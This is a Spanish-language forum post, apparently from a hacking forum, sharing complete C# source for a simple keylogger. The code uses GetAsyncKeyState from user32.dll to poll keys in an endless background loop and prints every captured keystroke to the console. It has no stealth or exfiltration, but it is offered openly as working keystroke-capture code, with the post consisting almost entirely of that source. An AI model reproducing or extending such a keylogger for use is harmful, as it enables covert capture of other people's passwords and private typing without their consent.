Keylogger C# Simple

  • 0 Respuestas
  • 444 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Andr0z

  • *
  • Ex-Staff
  • *****
  • Mensajes: 17
  • Actividad:
    0%
  • Country: mx
  • Reputación 2
    • Yahoo Instant Messenger - Andr0z
    • Ver Perfil

Keylogger C# Simple

  • en: Mayo 30, 2020, 05:47:22 pm
Keylogger en C#


Código: (csharp) [Seleccionar]
using System;

//Uso de Threads
using System.Threading;

//Uso de la libreria para importacion de DLL
using System.Runtime.InteropServices;


namespace Keylogger
{
    class Program
    {
        //Se importa user32.dll para poder usar el metodo externo GetAsyncKeyState
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(int key);

        //Contador de espacios para dar un salto de línea despues de "n" caracteres tecleados
        int contadorEspacio = 0;

        //String de almacenaje
        public string caracteresTecleados = "";


        //Este metodo detecta si una tecla dentro del rango [8,128] del codigo ASCII ha sido presionada
        public void esperarTecla()
        {
            int tecla=0;
            while(true)
            {
                for(tecla=8;tecla<128;tecla++)
                {
                    if (GetAsyncKeyState(tecla)==-32767)
                    {
                        this.mostrarTecla(tecla);
                    }
                }
            }
           
        }


        //Recupera la tecla virual presionada y la muestra en consola
        public void mostrarTecla(int keyCode)
        {
            switch(keyCode)
            {
                case 8:
                    if(!string.IsNullOrEmpty(this.caracteresTecleados))
                    {
                        this.caracteresTecleados = this.caracteresTecleados.Substring(0, this.caracteresTecleados.Length - 1);
                    }
                    break;
                case 9:
                    this.caracteresTecleados = "    ";
                    break;
                case 13:
                    this.caracteresTecleados += " [ENTER] ";
                    break;
                case 16:
                    this.caracteresTecleados += " [SHIFT] ";
                    break;
                case 20:
                    this.caracteresTecleados += " [B_MAYUS] ";
                    break;
                case 37:
                    this.caracteresTecleados += " [<] ";
                    break;
                case 38:
                    this.caracteresTecleados += " [^] ";
                    break;
                case 39:
                    this.caracteresTecleados += " [>] ";
                    break;
                case 40:
                    this.caracteresTecleados += " [v] ";
                    break;
                default:
                    this.caracteresTecleados += (char)keyCode;
                    break;
            }
            contadorEspacio++;
            if(this.caracteresTecleados.Length >=1)
            {
                if (contadorEspacio== 120)
                {
                    Console.WriteLine();
                    contadorEspacio = 0;
                }
                Console.Write(this.caracteresTecleados);
                this.caracteresTecleados = "";
            }
        }

        //Uso de threads para la ejecución del método "esperarTecla"
        public void threadEjecucion()
        {
            new Thread(new ThreadStart(esperarTecla)).Start();
        }

        public static void Main()
        {
            Program logging = new Program();
            logging.threadEjecucion();
        }
    }
}
« Última modificación: Mayo 30, 2020, 05:49:54 pm por Andr0z »